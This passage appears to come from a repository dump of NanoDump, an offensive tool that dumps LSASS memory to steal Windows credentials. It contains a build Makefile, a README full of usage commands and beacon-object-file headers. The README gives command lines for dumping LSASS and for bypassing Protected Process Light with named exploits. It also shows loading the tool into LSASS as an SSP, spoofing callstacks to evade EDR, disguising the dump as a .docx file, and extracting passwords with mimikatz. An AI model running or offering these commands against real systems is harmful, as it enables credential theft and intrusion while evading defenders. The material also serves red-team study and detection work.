dist/$(BOFNAME)_ppl_dump.x64.exe\n\n\t@$(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x86.exe $(OPTIONS) -DEXE -DPPL_DUMP\n\t@$(STRIP_x86) --strip-all dist/$(BOFNAME)_ppl_dump.x86.exe\n\n\t@$(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x64.o $(OPTIONS) -DBOF -DPPL_DUMP\n\t@$(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ppl_dump.x64.o && echo '[+] nanodump_ppl_dump x64' || echo '[!] nanodump_ppl_dump x64'\n\n\t@$(CC_x86) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_dump.x86.o $(OPTIONS) -DBOF -DPPL_DUMP\n\t@$(STRIP_x86) --strip-unneeded dist/$(BOFNAME)_ppl_dump.x86.o && echo '[+] nanodump_ppl_dump x86' || echo '[!] nanodump_ppl_dump x86'\n\n\t@$(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/ppl/ppl_medic_dll.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ppl_medic.x64.dll $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DNANO -DPPL_MEDIC -DDDL -shared\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_medic.x64.dll && echo '[+] nanodump_ppl_medic Dll x64' || echo '[!] nanodump_ppl_medic Dll x64'\n\t@./dist/bin2c dist/$(BOFNAME)_ppl_medic.x64.dll $(BOFNAME)_ppl_medic_dll > include/$(BOFNAME)_ppl_medic_dll.x64.h\n\n\t@$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/handle.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_medic.c source/pipe.c source/ppl/ppl_medic_client.c -o dist/$(BOFNAME)_ppl_medic.x64.exe $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DEXE -DPPL_MEDIC -DNANO\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_medic.x64.exe\n\n\t@$(CC_x64) -c source/ppl/ppl.c -o dist/$(BOFNAME)_ppl_medic.x64.o $(OPTIONS) $(PPL_MEDIC_OPTIONS) -DBOF -DPPL_MEDIC\n\t@$(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ppl_medic.x64.o && echo '[+] nanodump_ppl_medic x64' || echo '[!] nanodump_ppl_medic x64'\n\n\t@$(GCC) source/restore_signature.c -o scripts/restore_signature -static -s -Os\n\t@$(STRIP_x64) --strip-all scripts/restore_signature\n\nclean:\n\t@rm -f dist/*\n"
  },
  {
    "path": "Creds-BOF/nanodump/README.md",
    "content": "# NanoDump\n\nA flexible tool that creates a minidump of the LSASS process.\n\n<h2>Table of contents</h2>\n\n<ol>\n  <li><a href=\"#usage\">Usage</a></li>\n  <li><a href=\"#features\">Features</a></li>\n  <li><a href=\"#combinations\">Combining Techniques</a></li>\n  <li><a href=\"#examples\">Examples</a></li>\n</ol>\n\n<h2 id=\"usage\">1. Usage</h2>\n\n```\nUsage:   nanodump [-w DUMP_PATH] [--valid] [-d] [-de] [-slr SLR_BIN_PATH] [-sd] [-sc] [-spe SPE_DUMP_FOLDER] [-sk] [--fork] [--snapshot] [-eh] [--getpid] [--pid PID]\n\nArguments:\n    [-w DUMP_PATH]          : STRING.   Filename of the dump\n    [--valid]               : BOOL.     Create a dump with a valid signature\n    [-d]                    : BOOL.     Duplicate: a high privileged existing LSASS handle\n    [-de]                   : BOOL.     Duplicate-elevate: a low privileged existing LSASS handle and then elevate it\n    [-slr SLR_BIN_PATH]     : STRING.   Seclogon-leak-remote: leak an LSASS handle into another process via seclogon and duplicate it\n    [-sd]                   : BOOL.     Seclogon-duplicate: make seclogon open a handle to LSASS and duplicate it\n    [-sc]                   : BOOL.     Spoof-callstack: open a handle to LSASS using a fake calling stack\n    [-spe SPE_DUMP_FOLDER]  : STRING.   Silent-process-exit: force WerFault.exe to dump LSASS via SilentProcessExit\n    [-sk]                   : BOOL.     Force WerFault.exe to dump LSASS via Shtinkering (Need SYSTEM)\n    [--fork]                : BOOL.     Fork the target process before dumping\n    [--snapshot]            : BOOL.     Snapshot the target process before dumping\n    [-eh]                   : BOOL.     Elevate-handle: open a handle to LSASS with low privileges and duplicate it to gain higher privileges\n    [--getpid]              : BOOL.     Print the PID of LSASS and leave\n    [--pid PID]             : INT.      PID of LSASS\n```\n\n<h3>Run</h3>\n\nRun the `nanodump` command in the agent console or the `nanodump.x64.exe` binary.\n\n<h3>Restore the signature</h3>\n\nIf you didn't specify the `--valid` flag, you need to restore the invalid signature\n```zsh\nscripts/restore_signature <dumpfile>\n```\n\n<h3>Get the secretz</h3>\n\n<b>mimikatz:</b>  \nTo get the secrets simply run:\n```sh\nmimikatz.exe \"sekurlsa::minidump <dumpfile>\" \"sekurlsa::logonPasswords full\" exit\n```\n\n<b>pypykatz:</b>  \nIf you prefer to stay on linux, you can use the python3 port of mimikatz called [pypykatz](https://github.com/skelsec/pypykatz):  \n```sh\npython3 -m pypykatz lsa minidump <dumpfie>\n```\n\n<h2 id=\"features\">2. Features</h2>\n\n<h3>Process forking</h2>\n\nTo avoid opening a handle to LSASS with `PROCESS_VM_READ`, you can use the `--fork` parameter.  \nThis will make nanodump create a handle to LSASS with `PROCESS_CREATE_PROCESS` access and then create a 'clone' of the process. This new process will then be dumped. While this will result in a process creation and deletion, it removes the need to read LSASS directly.\n\n<h3>Snapshot</h2>\n\nSimilarly to the `--fork` option, you can use `--snapshot` to create a snapshot of the LSASS process.  \nThis will make nanodump create a handle to LSASS with `PROCESS_CREATE_PROCESS` access and then create a snapshot of the process using `PssNtCaptureSnapshot`. This new process will then be dumped. The snapshot will be freed automatically upon completion.\n\n<h3>Handle duplication</h2>\n\nAs opening a handle to LSASS can be detected, nanodump can instead search for existing handles to LSASS.  \nIf one is found, it will copy it and use it to create the minidump.  \nNote that it is not guaranteed to find such a handle.\n\n<h3>Elevate handle</h2>\n\nYou can obtain a handle to LSASS with PROCESS_QUERY_LIMITED_INFORMATION, which is likely to be whitelisted, and then elevate that handle by duplicating it.\n\n<h3>Seclogon handle leak local</h2>\n\nTo avoid opening a handle to LSASS, you can use abuse the seclogon service by calling `CreateProcessWithLogonW` to leak an LSASS handle into the nanodump binary.  \nTo enable this feature, use the `--seclogon-leak-local` parameter.  \nTake into account that when used from Cobalt Strike, an unsigned nanodump binary needs to be written to disk to use this feature.\n\n<h3>Seclogon handle leak remote</h2>\n\nThis technique is very similar to the previous one, but instead of leaking the handle into nanodump, it is leaked into another binary and then duplicated so that nanodump can used it.\nUse the `-slr` flag to access this functionality.\n\n<h3>Seclogon handle duplication</h2>\n\nYou can trick the seclogon process into opening a handle to LSASS and duplicating it before it is closed, by winning a race condition using file locks.\nUse the `-sd` flag to access this functionality.\n\n<h3>Load nanodump as an SSP</h2>\n\nYou can load nanodump as an SSP in LSASS to avoid opening a handle.  \nWhen the DLL has been loaded into LSASS, the parameters will be passed via a named pipe and once the dump is completed, `DllMain` will return FALSE to make LSASS unload the nanodump DLL.  \nYou can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag `PASS_PARAMS_VIA_NAMED_PIPES=0`.\n\n<h4>Upload and load a nanodump DLL</h3>\n\nBy default, an unsigned nanodump DLL will be uploaded to the Temp folder which will be deleted automatically.\n```\nnanodump_ssp --valid -w C:\\Windows\\Temp\\lsass.dmp\n```\n\nIf you want to load a pre-existing DLL, you can run:\n```\nnanodump_ssp --valid -w C:\\Windows\\Temp\\lsass.dmp --load-dll C:\\Windows\\Temp\\ssp.dll\n```\n\n<h3>PPL Dump exploit</h2>\nIf LSASS is running as Protected Process Light (PPL), you can try to bypass it using a userland exploit discovered by Project Zero. If it is successful, the dump will be written to disk.  \n\n> Note that this vulnerability has been fixed in the July 2022 update pack (Windows 10 21H2 Build 19044.1826)\n\nTo access this feature, use the `nanodump_ppl_dump` command\n```\nnanodump_ppl_dump --valid -w C:\\Windows\\Temp\\lsass.dmp\n```\n\n<h3>PPL Medic exploit</h2>\nNanodump also implements the PPLMedic exploit, which works on systems that have the July 2022 update pack.  \nThe parameters will be passed to the nanodump DLL via a named pipe. You can hardcode the parameters into the DLL and avoid using the named pipe altogether with the compiler flag PASS_PARAMS_VIA_NAMED_PIPES=0.  \n\nTo access this feature, use the `nanodump_ppl_medic` command\n```\nnanodump_ppl_medic --valid -w C:\\Windows\\Temp\\lsass.dmp\n```\n\n<h3>WerFault</h2>\nYou can force the WerFault.exe process to create a full memory dump of LSASS. Take into consideration that this requires the ability to write to the registry\n\nBecause the dump is not made by nanodump, it will always have a valid signature.\n\n<h4>Silent Process Exit</h3>\n\nTo leverage the Silent Process Exit technique, use the `-spe` parameter and the path where the dump should be created.\n```\nnanodump -spe C:\\Windows\\Temp\\\n```\n\nA dump of the nanodump process will also be created, similar to this:\n```\nPS C:\\> dir 'C:\\Windows\\Temp\\lsass.exe-(PID-648)-4035593\\'\n\nDirectory: C:\\Windows\\Temp\\lsass.exe-(PID-648)-4035593\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp\n-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp\n```\n\n<h4>Shtinkering</h3>\n\nYou can also use the Shtinkering technique, which requires nanodump to run under SYSTEM:\n```\nnanodump -sk\n```\n\nThe dump will tipically be created under `C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\CrashDumps`\n\n<h3>Spoof the callstack</h2>\n\nYou can open a handle to LSASS with a fake callstack to make the function call look a bit more legitimate (especially if run as BOF).  \nTo access this feature, use the paramter `-sc`.\n\n<h2 id=\"combinations\">3. Combining techniques</h2>\n\nYou can combine many techniques to customize how nanodump operates.  \nThe following table indicates which flags can be used together.\n\n|            | --write | --valid | -d | -eh | -de | --slr | -sd | -sc | -spe | -sk | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |\n|------------|:-------:|:-------:|:--:|:---:|:---:|:-----:|:---:|:---:|:----:|:---:|:------:|:----------:|:---:|:--------:|:---------:|\n| --write    | ✓       | ✓       | ✓  |  ✓  |  ✓  | ✓     |  ✓  |  ✓  |      |     | ✓      | ✓          |     | ✓        | ✓         |\n| --valid    | ✓       | ✓       | ✓  |  ✓  |  ✓  | ✓     |  ✓  |  ✓  |      |     | ✓      | ✓          |     | ✓        | ✓         |\n| -d         | ✓       | ✓       | ✓  |     |     |       |     |     |      |  ✓  | ✓      | ✓          |     | ✓        |           |\n| -eh        | ✓       | ✓       |    |  ✓  |     |       |     |  ✓  |      |  ✓  | ✓      | ✓          |     |          | ✓         |\n| -de        | ✓       | ✓       |    |     |  ✓  |       |     |     |      |  ✓  | ✓      | ✓          |     |          |           |\n| --slr      | ✓       | ✓       |    |     |     | ✓     |     |     |      |  ✓  | ✓      | ✓          |     |          |           |\n| -sd        | ✓       | ✓       |    |     |     |       |  ✓  |     |      |  ✓  | ✓      | ✓          |     |          |           |\n| -sc        | ✓       | ✓       |    |  ✓  |     |       |     |  ✓  |      |  ✓  | ✓      | ✓          |     |          |           |\n| -spe       |         |         |    |     |     |       |     |     |  ✓   |     |        |            |     |          |           |\n| -sk        |         |         | ✓  |  ✓  |  ✓  | ✓     |  ✓  |  ✓  |      |  ✓  |        |            |     |          |           |\n| --fork     | ✓       | ✓       | ✓  |  ✓  |  ✓  | ✓     |  ✓  |  ✓  |      |     | ✓      |            |     |          |           |\n| --snapshot | ✓       | ✓       | ✓  |  ✓  |  ✓  | ✓     |  ✓  |  ✓  |      |     |        | ✓          |     |          |           |\n| SSP        |         |         |    |     |     |       |     |     |      |     |        |            | ✓   |          |           |\n| PPL_DUMP   | ✓       | ✓       | ✓  |     |     |       |     |     |      |     |        |            |     | ✓        |           |\n| PPL_MEDIC  | ✓       | ✓       |    |  ✓  |     |       |     |     |      |     |        |            |     |          | ✓         |\n\n<h2 id=\"examples\">4. Examples</h2>\n\nRead LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:\n```\nnanodump --fork -w C:\\lsass.dmp\n```\n\nUse the seclogon leak remote to leak an LSASS handle in a notepad process, duplicate that handle to get access to LSASS, then read it indirectly by creating a fork and downloading the dump with a valid signature:\n```\nnanodump -slr C:\\Windows\\notepad.exe --fork --valid\n```\n\nDownload the dump with an invalid signature (default):\n```\nnanodump\n```\n\nDuplicate an existing handle and write the dump to disk with an invalid signature:\n```\nnanodump -d -w C:\\Windows\\Temp\\report.docx\n```\n\nGet the PID of LSASS:\n```\nnanodump --getpid\n```\n\nLoad nanodump in LSASS as an SSP (a nanodump binary will be uploaded!):\n```\nnanodump_ssp -w C:\\Windows\\Temp\\lsass.dmp\n```\n\nDump LSASS bypassing PPL using the PPLDump exploit, duplicating the handle that csrss.exe has on LSASS:\n```\nnanodump_ppl_dump --d --write C:\\Windows\\Temp\\lsass.dmp\n```\n\nDump LSASS bypassing PPL using the PPLMedic exploit, opening a low privileged handle to LSASS and then elevating it:\n```\nnanodump_ppl_medic -eh --write C:\\Windows\\Temp\\lsass.dmp\n```\n\nTrick seclogon into opening a handle to LSASS and duplicate it, then download the dump with an invalid signature:\n```\nnanodump -sd\n```\n\nOpen a handle to LSASS with a spoofed callstack and download the minidump with an invalid signature:\n```\nnanodump -sc\n```\n\nUse the Shtinkering techinque:\n```\nnanodump -sk\n```\n\nObtain a handle with low privs and elevate it using _elevate handle_:\n```\nnanodump -eh\n```\n\nObtain a handle with low privs using a spoofed callstack and elevate it using _elevate handle_:\n```\nnanodump -eh -sc\n```\n\nDuplicate an existing low priv handle and elevate it using _elevate handle_:\n```\nnanodump -de\n```\n\n## Credits\n- [skelsec](https://twitter.com/skelsec) for writing [minidump](https://github.com/skelsec/minidump), which was crucial for learning the minidump file format.\n- [freefirex](https://twitter.com/freefirex2) from [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) at Trustedsec for many cool tricks for BOFs\n- [Jackson_T](https://twitter.com/Jackson_T) for [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2)\n- [BillDemirkapi](https://twitter.com/BillDemirkapi) for [Process Forking](https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/)\n- [Antonio Cocomazzi](https://twitter.com/splinter_code) for [Abusing leaked handles to dump LSASS memory](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html) and [Racing for LSASS dumps](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html)\n- [xpn](https://twitter.com/_xpn_) for [Exploring Mimikatz - Part 2 - SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/)\n- [Matteo Malvica](https://twitter.com/matteomalvica) for [Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start](https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/)\n- [James Forshaw](https://twitter.com/tiraniddo) for [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)\n- [itm4n](https://twitter.com/itm4n) for the original PPL userland exploits implementation, [PPLDump](https://github.com/itm4n/PPLdump) and [PPLMedic](https://github.com/itm4n/PPLmedic).\n- [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [Lsass Memory Dumps are Stealthier than Ever Before - Part 2](https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2) and the Shtinkering technique\n- [William Burgess](https://twitter.com/joehowwolf) for [Spoofing Call Stacks To Confuse EDRs](https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs)\n- [Sebastian Feldmann](https://twitter.com/thefLinkk) and [Fabian](https://twitter.com/testert01) for the _elevate handle_ technique discussed at [Morph Your Malware!](https://www.youtube.com/watch?v=AucQUjJBJuw)\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/adaptix.h",
    "content": "#pragma once\n\n#include \"beacon.h\"\n\nDECLSPEC_IMPORT void AxAddScreenshot(char* note, char* data, int len);\nDECLSPEC_IMPORT void AxDownloadMemory(char* filename, char* data, int len);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Cobalt Strike 4.1.\n */\n\n#pragma once\n\n /* data API */\ntypedef struct {\n\tchar* original; /* the original buffer [so we can free it] */\n\tchar* buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap* parser, char* buffer, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap* parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap* parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap* parser);\nDECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size);\n\n/* format API */\ntypedef struct {\n\tchar* original; /* the original buffer [so we can free it] */\n\tchar* buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp* format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp* format);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp* format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp* format, char* text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp* format, char* fmt, ...);\nDECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp* format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char* fmt, ...);\nDECLSPEC_IMPORT void   BeaconOutput(int type, char* data, int len);\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken(VOID);\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin(VOID);\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char* buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION* pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char* src, wchar_t* dst, int max);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/delete_file.h",
    "content": "#pragma once\n\n#include \"utils.h\"\n#include \"syscalls.h\"\n#include \"nanodump.h\"\n#include \"beacon.h\"\n\nVOID do_delete(\n    IN LPSTR file_path);\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/dinvoke.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"utils.h\"\n\n#define LdrLoadDll_SW2_HASH 0xA301ECDA\n\n#define MZ 0x5A4D\n\ntypedef NTSTATUS(WINAPI* LdrLoadDll_t)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);\n\ntypedef struct _ND_LDR_DATA_TABLE_ENTRY\n{\n    struct _LIST_ENTRY InLoadOrderLinks;\n    struct _LIST_ENTRY InMemoryOrderLinks;\n    struct _LIST_ENTRY InInitializationOrderLinks;\n    PVOID DllBase;\n    PVOID EntryPoint;\n    ULONG SizeOfImage;\n    UNICODE_STRING FullDllName;\n    UNICODE_STRING BaseDllName;\n} ND_LDR_DATA_TABLE_ENTRY, *PND_LDR_DATA_TABLE_ENTRY;\n\ntypedef struct _ND_PEB_LDR_DATA\n{\n    ULONG Length;\n    UCHAR Initialized;\n    PVOID SsHandle;\n    struct _LIST_ENTRY InLoadOrderModuleList;\n    struct _LIST_ENTRY InMemoryOrderModuleList;\n    struct _LIST_ENTRY InInitializationOrderModuleList;\n} ND_PEB_LDR_DATA, *PND_PEB_LDR_DATA;\n\ntypedef struct _ND_PEB\n{\n    BYTE Reserved1[2];\n    BYTE BeingDebugged;\n    BYTE Reserved2[1];\n    PVOID Reserved3[2];\n    PND_PEB_LDR_DATA Ldr;\n} ND_PEB, *PND_PEB;\n\nPVOID find_dll_by_pointer(\n    IN PVOID address);\n\nBOOL is_dll(\n    IN HMODULE hLibrary);\n\nPVOID find_legacy_export(\n    IN HMODULE hOriginalLibrary,\n    IN DWORD fhash);\n\nPVOID resolve_reference(\n    IN HMODULE hOriginalLibrary,\n    IN PVOID addr);\n\nPVOID get_function_address(\n    IN HMODULE hLibrary,\n    IN DWORD fhash,\n    IN WORD ordinal);\n\nHANDLE get_library_address(\n    IN LPWSTR lib_path,\n    IN BOOL DoLoad);\n\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/entry.h",
    "content": "#pragma once\n\n#if defined(NANO) && defined(PPL_DUMP)\n\n#include <windows.h>\n\n#define UNUSED(x) (void)(x)\n\ntypedef LPWSTR*(WINAPI* CommandLineToArgvW_t) (LPCWSTR lpCmdLine, int *pNumArgs);\ntypedef LPWSTR(WINAPI* GetCommandLineW_t) (VOID);\n\n#define CommandLineToArgvW_SW2_HASH 0xFF4DDE07\n#define GetCommandLineW_SW2_HASH 0x6507A19C\n\n//\n// SspiCli.dll\n//\n__declspec(dllexport) void APIENTRY LogonUserExExW(VOID);\n\n//\n// EventAggregation.dll\n//\n__declspec(dllexport) void APIENTRY BriCreateBrokeredEvent(VOID);\n__declspec(dllexport) void APIENTRY BriDeleteBrokeredEvent(VOID);\n__declspec(dllexport) void APIENTRY EaCreateAggregatedEvent(VOID);\n__declspec(dllexport) void APIENTRY EACreateAggregateEvent(VOID);\n__declspec(dllexport) void APIENTRY EaQueryAggregatedEventParameters(VOID);\n__declspec(dllexport) void APIENTRY EAQueryAggregateEventData(VOID);\n__declspec(dllexport) void APIENTRY EaFreeAggregatedEventParameters(VOID);\n__declspec(dllexport) void APIENTRY EaDeleteAggregatedEvent(VOID);\n__declspec(dllexport) void APIENTRY EADeleteAggregateEvent(VOID);\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/handle.h",
    "content": "#pragma once\n\n#if (defined(NANO) || defined(PPL_MEDIC)) && !defined(SSP)\n\n#include <windows.h>\n#include <winternl.h>\n\n#include \"utils.h\"\n#include \"dinvoke.h\"\n\ntypedef DWORD(WINAPI* PssNtCaptureSnapshot_t) (PHANDLE SnapshotHandle, HANDLE ProcessHandle, DWORD CaptureFlags, DWORD ThreadContextFlags);\ntypedef DWORD(WINAPI* PssNtQuerySnapshot_t) (HANDLE SnapshotHandle, DWORD InformationClass, PVOID Buffer, DWORD BufferLength);\ntypedef DWORD(WINAPI* PssNtFreeSnapshot_t) (HANDLE SnapshotHandle);\n\n#define PssNtCaptureSnapshot_SW2_HASH 0xE54FFDDB\n#define PssNtQuerySnapshot_SW2_HASH 0x568E92DE\n#define PssNtFreeSnapshot_SW2_HASH 0x248F0BD4\n\n#define LSASS_EXE L\"lsass.exe\"\n#define PROCESS_HANDLE_TYPE L\"Process\"\n#define TOKEN_HANDLE_TYPE L\"Token\"\n#define DIRECTORY_HANDLE_TYPE L\"Directory\"\n\n#define MAX_PROCESSES 5000\n\n#define RtlOffsetToPointer(B,O)  ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O))  ))\n\n#ifndef ALIGN_UP_TYPE\n#define ALIGN_UP_TYPE(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1))\n#endif\n\n#ifndef ALIGN_UP\n#define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type))\n#endif\n\n#define ObjectTypesInformation 3\n\n#define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR))\n\n#define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\\\n    RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \\\n    ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR))\n\ntypedef struct _OBJECT_TYPES_INFORMATION {\n    ULONG NumberOfTypes;\n} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION;\n\ntypedef struct _OBJECT_TYPE_INFORMATION_V2 {\n    UNICODE_STRING TypeName;\n    ULONG TotalNumberOfObjects;\n    ULONG TotalNumberOfHandles;\n    ULONG TotalPagedPoolUsage;\n    ULONG TotalNonPagedPoolUsage;\n    ULONG TotalNamePoolUsage;\n    ULONG TotalHandleTableUsage;\n    ULONG HighWaterNumberOfObjects;\n    ULONG HighWaterNumberOfHandles;\n    ULONG HighWaterPagedPoolUsage;\n    ULONG HighWaterNonPagedPoolUsage;\n    ULONG HighWaterNamePoolUsage;\n    ULONG HighWaterHandleTableUsage;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccessMask;\n    BOOLEAN SecurityRequired;\n    BOOLEAN MaintainHandleCount;\n    UCHAR TypeIndex;\n    CHAR ReservedByte;\n    ULONG PoolType;\n    ULONG DefaultPagedPoolCharge;\n    ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2;\n\n#if defined(_MSC_VER)\n\ntypedef enum _POOL_TYPE\n{\n    NonPagedPool,\n    PagedPool,\n    NonPagedPoolMustSucceed,\n    DontUseThisType,\n    NonPagedPoolCacheAligned,\n    PagedPoolCacheAligned,\n    NonPagedPoolCacheAlignedMustS\n} POOL_TYPE, *PPOOL_TYPE;\n\ntypedef struct _OBJECT_TYPE_INFORMATION\n{\n    UNICODE_STRING Name;\n    ULONG TotalNumberOfObjects;\n    ULONG TotalNumberOfHandles;\n    ULONG TotalPagedPoolUsage;\n    ULONG TotalNonPagedPoolUsage;\n    ULONG TotalNamePoolUsage;\n    ULONG TotalHandleTableUsage;\n    ULONG HighWaterNumberOfObjects;\n    ULONG HighWaterNumberOfHandles;\n    ULONG HighWaterPagedPoolUsage;\n    ULONG HighWaterNonPagedPoolUsage;\n    ULONG HighWaterNamePoolUsage;\n    ULONG HighWaterHandleTableUsage;\n    ULONG InvalidAttributes;\n    GENERIC_MAPPING GenericMapping;\n    ULONG ValidAccess;\n    BOOLEAN SecurityRequired;\n    BOOLEAN MaintainHandleCount;\n    USHORT MaintainTypeList;\n    POOL_TYPE PoolType;\n    ULONG PagedPoolUsage;\n    ULONG NonPagedPoolUsage;\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\n\ntypedef struct _SYSTEM_HANDLE\n{\n    ULONG ProcessId;\n    BYTE ObjectTypeNumber;\n    BYTE Flags;\n    USHORT Handle;\n    PVOID Object;\n    ACCESS_MASK GrantedAccess;\n} SYSTEM_HANDLE, *PSYSTEM_HANDLE;\n\ntypedef struct _SYSTEM_HANDLE_INFORMATION\n{\n    ULONG Count;\n    SYSTEM_HANDLE Handle[1];\n} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;\n\n#endif\n\ntypedef struct _PROCESS_LIST\n{\n    ULONG Count;\n    ULONG ProcessId[MAX_PROCESSES];\n} PROCESS_LIST, *PPROCESS_LIST;\n\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO\n{\n    USHORT UniqueProcessId;\n    USHORT CreatorBackTraceIndex;\n    UCHAR ObjectTypeIndex;\n    UCHAR HandleAttributes;\n    USHORT HandleValue;\n    PVOID Object;\n    ULONG GrantedAccess;\n} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;\n\n#define MAX_HANDLES 10000\n\ntypedef struct _HANDLE_LIST\n{\n    ULONG Count;\n    HANDLE Handle[MAX_HANDLES];\n} HANDLE_LIST, *PHANDLE_LIST;\n\nBOOL find_token_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list);\n\nBOOL find_process_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list);\n\nBOOL find_directory_handles_in_process(\n    IN DWORD process_pid,\n    IN DWORD permissions,\n    OUT PHANDLE_LIST* phandle_list);\n\nBOOL check_handle_privs(\n    IN HANDLE handle,\n    IN DWORD permissions);\n\nHANDLE elevate_handle_via_duplicate(\n    IN HANDLE hProcess,\n    IN ACCESS_MASK DesiredAccess,\n    IN DWORD HandleAttributes);\n\nHANDLE make_handle_full_access(\n    IN HANDLE hProcess,\n    IN DWORD attributes);\n\nDWORD get_lsass_min_permissions(VOID);\n\nDWORD get_lsass_clone_permissions(VOID);\n\nDWORD get_lsass_shtinkering_permissions(VOID);\n\nBOOL obtain_lsass_handle(\n    OUT 